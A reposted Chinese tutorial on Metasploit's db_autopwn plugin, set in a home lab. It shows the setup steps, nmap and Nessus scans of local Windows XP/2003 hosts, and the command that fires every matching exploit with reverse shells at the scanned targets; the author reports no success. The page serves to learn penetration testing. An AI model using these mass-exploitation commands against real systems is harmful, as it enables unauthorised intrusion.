[转]初探Metasploit的自动攻击
1. 科普Metasploit
2. 更新Metasploit
- =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
- + -- --=[ 927 exploits - 499 auxiliary - 151 post
- + -- --=[ 251 payloads - 28 encoders - 8 nops
4.9版本的:
- =[ metasploit v4.9.0-dev [core:4.9 api:1.0]
- + -- --=[ 1251 exploits - 682 auxiliary - 201 post
- + -- --=[ 326 payloads - 32 encoders - 8 nops
- 1. apt-get update——>更新源列表
- 2. cd /opt/metasploit后,删除原先的msf3:rm -rf msf3
- 3. git clone --depth=1 git://github.com/rapid7/metasploit-framewok msf3 最后的msf3是我们重新在原来的位置重建msf3
- 4. 修改配置文件:
- 32位系统:/opt/metasploit/ruby/lib/ruby/1.9.1/i686-linux/rbconfig.rb
- 64位系统:/opt/metasploit/ruby/lib/ruby/1.9.1/x86_64-linux/rbconfig.rb
- 定位 CONFIG["LIBRUBYARG_STATIC"] = "-W1, -R, W1, $(libdir) -L$(libdir) -1$(RUBY_SO_NAME)-static"
- 后,删掉 -1$(RUBY_SO_NAME)-static部分
- 4. 进入msf3下,运行./msfupdate等待完成即可
注事事项:
- 1.如果在git那一步,出错,说找不到msf,可能是网络连接不好,本人亲自去github看了下,发现是存在的,后来10分钟后连续敲了相同的命令,clone成功。
- 2.可能会遇到bundle install 的问题,ruby版本不对,没关系,请按照上面的步骤来,就可以了。
3. 开启Metasploit
- root@bt:~# cd /opt/metasploit/msf3
- root@bt:/opt/metasploit/msf3# msfconsole
4. 连接数据库
- msf < cat /opt/metasploit/config/database.yml
- [*] exec: cat /opt/metasploit/config/database.yml
- #
- # These settings are for the database used by the Metasploit Framework
- # unstable tree included in this installer, not the commercial editions.
- #
- development:
- adapter: "postgresql"
- database: "msf3dev"
- username: "msf3"
- password: "4bfedfc2"
- port: 7337
- host: "localhost"
- pool: 256
- timeout: 5
- production:
- adapter: "postgresql"
- database: "msf3dev"
- username: "msf3"
- password: "4bfedfc2"
- port: 7337
- host: "localhost"
- pool: 256
- timeout: 5
- msf > db_connect msf3:4bfedfc2@127.0.0.1:7337/msf3dev
- msf > creds
- Credentials
- ===========
- host port user pass type active?
- ---- ---- ---- ---- ---- -------
- [*] Found 0 credentials.
- msf >
creds 是查看数据库的命令。
那么是配置问题,这么修改即可:
- vi /opt/metasploit/msf3/msfconsole
- change #!/usr/bin/env ruby to #!/opt/metasploit/ruby/bin/ruby in the top of msfconsole.
- deb http://ubuntu.mirror.cambrium.nl/ubuntu/ precise main universe
- # 添加软件源
- sudo apt-get install postgresql
- sudo apt-get install rubygems libpq-dev
- apt-get install libreadline-dev
- apt-get install libssl-dev
- apt-get install libpq5
- apt-get install ruby-dev
- sudo apt-get install libpq-dev
- sudo gem install pg
如果不会操作数据库:
- passwd postgres 修改postgres密码
- su postgres 进入数据库
- createuser xxx -P 创建xxx用户(然后输入密码,Y/N一直选择N即可)
- createdb --owner=user xxx 创建一个XXX数据库
- psql xxx 进入xxx数据库
- psql -l 列出数据库
- dropuser 删除用户
- dropdb 删除数据库
5. 载入和使用db_autopwn
5.0 载入db_autopwn
- /opt/metasploit/msf3/plugins/db_autopwn.rb
然后进入msf后加载db_autopwn:
- load db_autopwn
而使用的命令是:
- db_autopwn -r -p -t -e
参数:
-p 是更加端口来搞
- ERROR: NoMethodError undefined method `range_include?'
5.1 msf自带扫描器+db_autopwn
- 下载:db_autopwn.rb
- 放到~/Desktop下
- 在终端:
- root@bt:~/Desktop# cp db_autopwn.rb /opt/metasploit/msf3/plugins/
- 在msf:
- msf > load db_autopwn
- msf > db_autopwn -h
- -h Display this help text
- -t Show all matching exploit modules
- -x Select modules based on vulnerability references
- -p Select modules based on open ports
- -e Launch exploits against all matched targets
- -r Use a reverse connect shell
- -b Use a bind shell on a random port (default)
- -q Disable exploit module output
- -R [rank] Only run modules with a minimal rank
- -I [range] Only exploit hosts inside this range
- -X [range] Always exclude hosts inside this range
- -PI [range] Only exploit hosts with these ports open
- -PX [range] Always exclude hosts with these ports open
- -m [regex] Only run modules whose name matches the regex
- -T [secs] Maximum runtime for any exploit in seconds
- msf > use auxiliary/scanner/portscan/tcp
- msf > show options #看看那还需要设置什么
- msf > set RHOSTS 192.168.0.113 #113这台机器是win2003,只打了9个补丁,很纯净
- msf > set THREADS 8 #设置线程数8
- msf > run #开启端口扫描
- msf > db_autopwn -t -r -p -e #-r 反弹shell -p 根据ports来搞 -t 显示全部modules -e 开搞
不得不吐槽一下,就这个msf自带扫描器+自动化攻击,连个只打了9个补丁的win2003都拿不下。
5.2 db_nmap + db+autopwn
- hosts -d
如果-d后面加IP,就只删除IP,如果没指定,就删除所有IP,有的IP删除起来要多费一些时间(1分钟),有的则是几秒的事。
- db_nmap -T Aggressive -n -A -v ip
-T Aggressive 指定扫描速度:积极,就是-T4的另一个名字。
- msf> hosts -d
- Hosts
- =====
- address mac name os_name os_flavor os_sp purpose info comments
- ------- --- ---- ------- --------- ----- ------- ---- --------
- 192.168.0.1 34:08:04:0B:70:E8 Unknown device
- 192.168.0.104 CC:78:5F:84:64:27 Unknown device
- 192.168.0.105 EC:A8:6B:86:9A:5E Unknown device
- 192.168.0.108 Unknown device
- 192.168.0.110 44:37:E6:A0:96:79 Unknown device
- 192.168.0.112 00:0C:29:A3:56:29 Unknown device
- [*] Deleted 6 hosts
- msf> hosts
- Hosts
- =====
- address mac name os_name os_flavor os_sp purpose info comments
- ------- --- ---- ------- --------- ----- ------- ---- --------
- msf> db_nmap -sS -A -T4 192.168.0.112
- [*] Nmap: Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2014-01-08 13:51 CST
- [*] Nmap: Nmap scan report for 192.168.0.112
- [*] Nmap: Host is up (0.00047s latency).
- [*] Nmap: Not shown: 997 closed ports
- [*] Nmap: PORT STATE SERVICE VERSION
- [*] Nmap: 135/tcp open msrpc Microsoft Windows RPC
- [*] Nmap: 139/tcp open netbios-ssn
- [*] Nmap: 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
- [*] Nmap: MAC Address: 00:0C:29:A3:56:29 (VMware)
- [*] Nmap: Device type: general purpose
- [*] Nmap: Running: Microsoft Windows XP
- [*] Nmap: OS CPE: cpe:/o:microsoft:windows_xp
- [*] Nmap: OS details: Microsoft Windows XP SP2 or SP3
- [*] Nmap: Network Distance: 1 hop
- [*] Nmap: Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
- [*] Nmap: Host script results:
- [*] Nmap: |_nbstat: NetBIOS name: EMASTER-A2C3258, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:a3:56:29 (VMware)
- [*] Nmap: | smb-security-mode:
- [*] Nmap: | Account that was used for smb scripts: guest
- [*] Nmap: | User-level authentication
- [*] Nmap: | SMB Security: Challenge/response passwords supported
- [*] Nmap: |_ Message signing disabled (dangerous, but default)
- [*] Nmap: |_smbv2-enabled: Server doesn't support SMBv2 protocol
- [*] Nmap: | smb-os-discovery:
- [*] Nmap: | OS: Windows XP (Windows 2000 LAN Manager)
- [*] Nmap: | Computer name: emaster-a2c3258
- [*] Nmap: | NetBIOS computer name: EMASTER-A2C3258
- [*] Nmap: | Workgroup: WORKGROUP
- [*] Nmap: |_ System time: 2014-01-08 13:51:25 UTC+8
- [*] Nmap: TRACEROUTE
- [*] Nmap: HOP RTT ADDRESS
- [*] Nmap: 1 0.47 ms 192.168.0.112
- [*] Nmap: OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
- [*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 11.14 seconds
- msf> hosts
- Hosts
- =====
- address mac name os_name os_flavor os_sp purpose info comments
- ------- --- ---- ------- --------- ----- ------- ---- --------
- 192.168.0.112 00:0C:29:A3:56:29 Microsoft Windows XP device
- msf> db_autopwn -p -t -r -e
再科普一次:
5.3 Nessus+db_autopwn
- #启动nessus服务
- root@bt:~# /etc/init.d/nessusd start
- #启动apache服务
- root@bt:~# /etc/init.d/apache2 start
- #进入nessus页面
- 通过https://bt:8834或者https://127.0.0.1:8834访问。
- 注意是https。https://localhost:8834是访问不了的。
- 密码:root/toor
- 1、新建一个要扫的内容策略如:basic scan(Policy)
- 2、new scan
- 3、export 结果到1.nessus
然后用db_import把扫描导入msf:
- msf> hosts -d
- Hosts
- =====
- address mac name os_name os_flavor os_sp purpose info comments
- ------- --- ---- ------- --------- ----- ------- ---- --------
- 192.168.0.112 00:0C:29:A3:56:29 192.168.0.112 Microsoft Windows XP device
- [*] Deleted 1 hosts
- msf> db_import /root/Desktop/1.nessus
- [*] Importing 'Nessus XML (v2)' data
- [*] Importing host 192.168.0.112
- [*] Successfully imported /root/Desktop/1.nessus
- msf> hosts
- Hosts
- =====
- address mac name os_name os_flavor os_sp purpose info comments
- ------- --- ---- ------- --------- ----- ------- ---- --------
- 192.168.0.112 00:0C:29:A3:56:29 192.168.0.112 EMC CLARiiON AX150SCi SAN Disk Array device
- msf> db_autopwn -p -r -t -e
好吧,这么强大的扫描器和这么强大的利用平台,结合在一起,是0 sessions,只能证明我太傻比了,还不会灵活应用。
[转]初探Metasploit的自动攻击的更多相关文章
- Metasploit自动攻击和选择模块攻击详解
Author:魔术@Freebuf.com 0×1自动攻击 终端启动Metasploit,因为我现在Source Code,所以这样启动! 连接数据库 安装方法,执行以下命令即可(请用ROOT执行). ...
- Metasploit自动攻击模块
Metasploit自动攻击模块 Usage: db_autopwn [options] -h Display this help text -t Show all matching exploit ...
- 【360图书馆】插入U盘自动攻击:BadUSB原理与实现
插入U盘自动攻击:BadUSB原理与实现 漏洞背景 “BadUSB”是今年计算机安全领域的热门话题之一,该漏洞由Karsten Nohl和Jakob Lell共同发现,并在今年的Black ...
- 【研究】Metasploit自动攻击模块
环境:kali-linux-2017.3-vm-amd64 一.安装postgresql数据库 apt-get install postgresql apt-get install rubygems ...
- 实验三 kali下metasploit的漏洞攻击实践
一.实验内容 1.使用kali进行靶机的漏洞扫描,利用metasploit选择其中的一个漏洞进行攻击,并获取权限. 2.分析攻击的原理以及获取了什么样的权限. 二.实验要求 1.熟悉kali原理和使用 ...
- 使用metasploit进行栈溢出攻击-4
有了漏洞我们就可以进行攻击了.首先我们需要了解metasploit的exploit模块,具体可以看 http://www.offensive-security.com/metasploit-unlea ...
- 使用metasploit进行栈溢出攻击-2
基本的栈溢出搞明白了,真实攻击中一个很重要的问题是shellcode生成. 利用Metasploit提供的工具,可以方便的生成shellcode,然后可以使用第一篇中的代码进行验证. 先说一下如何生成 ...
- Metasploit之后渗透攻击(信息收集、权限提升)
利用永恒之蓝漏洞入侵Windows7 流程参考https://www.jianshu.com/p/03a1c13f963a,实在是太棒啦!!! 目标主机为win7(IP:192.168.1.102): ...
- 使用metasploit进行栈溢出攻击-5
我们先尝试使用这个脚本进行攻击: msf > use exploit/linux/myvictim msf exploit(myvictim) > set payload linux/x8 ...
随机推荐
- dedecms在首页或列表调取文章内容body的三个方法
有时需要在网站首页或栏目封面上显示几篇文章的内页作为导语或其他什么的,但acrlist标签是不能直接调取body的,这时我们就需要使用以下方法来调取body. 方法一:arcticle 标签 加上ch ...
- Rotate Image
You are given an n x n 2D matrix representing an image. Rotate the image by 90 degrees (clockwise). ...
- Updating My Notepad_1.1
The old version Notepad 1.0 you can get it from below link : My Notepad I am very happy to announce ...
- ZeroMQ接口函数之 :zmq_bind - 绑定一个socket
ZeroMQ 官方地址 : http://api.zeromq.org/4-0:zmq-bind zmq_bind(3) ZMQ Manual - ZMQ/3.2.5 Name zmq_bind - ...
- Select Option
jQuery获取Select元素,并选择的Text和Value: 1. $("#select_id").change(function(){//code...}); //为Sele ...
- IOS网络第五天 AFN-01发送get和post请求
************AFN01-基本使用 #import "HMViewController.h" #import "AFNetworking.h" @in ...
- 通过IP地址屏蔽各种“推广”
事情的起因是这样的:最近老是发现iPhone应用的底部出现各种横条广告,一开始以为是Google的广告推广,所以没管它,但是最近这些广告越来越猖狂,里面的内容越来越垃圾.今天仔细一看,原来不是Goog ...
- Educational Codeforces Round 6 E dfs序+线段树
题意:给出一颗有根树的构造和一开始每个点的颜色 有两种操作 1 : 给定点的子树群体涂色 2 : 求给定点的子树中有多少种颜色 比较容易想到dfs序+线段树去做 dfs序是很久以前看的bilibili ...
- 腾讯QQ认证空间4月27日已全面开放申请,欲进军自媒体
今天看到卢松松的博客上爆出,腾讯QQ认证空间4月27日已全面开放申请的消息,这一消息出来, 马浩周根据提示方法进行申请,下面先说说腾讯QQ认证空间的申请方法: QQ认证空间开放申请公告地址:http: ...
- Android中 Bitmap和Drawable相互转换的方法
1.Drawable->Bitmap Resources res=getResources(); Bitmap bmp=BitmapFactory.decodeResource(res, R.d ...